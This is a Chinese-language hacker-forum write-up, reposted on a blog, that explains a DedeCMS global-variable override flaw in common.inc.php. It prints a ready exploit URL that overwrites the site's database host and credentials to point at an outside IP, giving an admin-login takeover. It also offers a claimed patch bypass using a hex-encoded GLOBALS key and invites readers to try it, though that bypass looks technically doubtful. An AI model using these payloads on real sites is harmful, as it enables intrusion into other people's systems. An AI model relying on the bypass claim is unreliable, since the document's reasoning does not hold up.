e7xue.php漏洞_简要分析最近的dedecms通杀漏洞以及漏洞补丁的绕过
話說文章寫得菜不要緊,首先標題要跟大牛一樣!
作者:單戀一支花
出自:t00ls
轉載請注明出處,如有雷同,純屬別人抄襲,嘿嘿!
一:寫在前面
今天晚上想老婆了,失眠了,蛋裂之余,進吐司尋找基友,驚現dedecms通殺漏洞,小菜我異常激動,奈何發表漏洞的大牛只給出exp沒給出漏洞分析,看到論壇的部分童鞋還在苦思漏洞緣由,小菜我雖然菜,但是懂點php,所以前來獻丑,廣大童鞋勿噴!
二:php也有抽的時候
當嘗試php應用程序如何處理用戶提交的時候,會出現以下反常情況:
1.$GLOBALS是一個全局數組,他可以根據名稱訪問變量.
2.如果register_globals打開,php會將$_REQUEST數組,也就是用戶請求參數注冊為全局。
3.php在$_SERVER數組里面會處理時特定的http消息頭
4.名稱包含下標的輸入參數會轉化為數組,這也是此次漏洞產生的原因!前三項只是我的一些總結,可能有不完全的地方,期待大牛補充。可能有的童鞋對第四項不是很了解,我就舉個簡單的例子吧!看代碼:
print_r($_GET);
?>
直接提交https://www.webshell.cc/test.php?test[dan]=1&test[lian]=2,這樣我們會輸出Array ( [test] => Array ( [dan] => 1 [lian] => 2 ) ) ,這樣$_GET數組里面又嵌套了一個數組,成為一個二維數組!
三:針對dede的分析
根據上一條的內容,我們來分析一下dede,首先看作者給出exp吧login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root,我們看漏洞文件includecommon.inc.php文件第22行
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
{
exit('Request var not allow!');
}
}
$REQUEST變量沒有過濾全局關鍵字(請參考我在二:php也有抽的時候的第一條),只驗證了是否提交以及提交內容是否包含前綴cfg_|GLOBALS,就進行了第一次遍歷數組,而我們的$_REQUET的$k是$_POST,進入第47行
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
我們注冊了$_GET變量后,$_GET的$K是$_POST然后在遍歷后,$_POST的$K是$_GLOBALS,從而導至$_GLOBALS被注冊,其數組里面的元素cfg_dbhost cfg_dbuser cfg_dbpwd cfg_dbname被賦值,從而導致漏洞的產生!
四:漏洞補丁的繞過
在某博客上看到臨時補丁
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) {
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){
exit('Request var not allow!');
}
${$_k} = _RunMagicQuotes($_v);
}
}
在遍歷$_POST的時候,如果$k有GLOBALS的關鍵字就會終止,這點我們可以把GLOBALS轉化為16進制繞過的。
login.php?dopost=login&validate=dcug&userid=admin&pwd=admin&_POST[0x474c4f42414c53][cfg_dbhost]=127.0.0.1&_POST[0x474c4f42414c53][cfg_dbuser]=root&_POST[0x474c4f42414c53][cfg_dbpwd]=&_POST[0x474c4f42414c53][cfg_dbname]=dedecmsv55gbk
我本地測試是成功的,有興趣的同學可以測試一下!
我博客上也發了,嘿嘿大家感興趣可以去看看我的百度博客!
轉載請注明來自WebShell'S Blog,本文地址:https://www.webshell.cc/539.html
總結
以上是生活随笔為你收集整理的e7xue.php漏洞_简要分析最近的dedecms通杀漏洞以及漏洞补丁的绕过的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: n1进入recovery模式_oppo
- 下一篇: python上下文管理关键字_详解 Py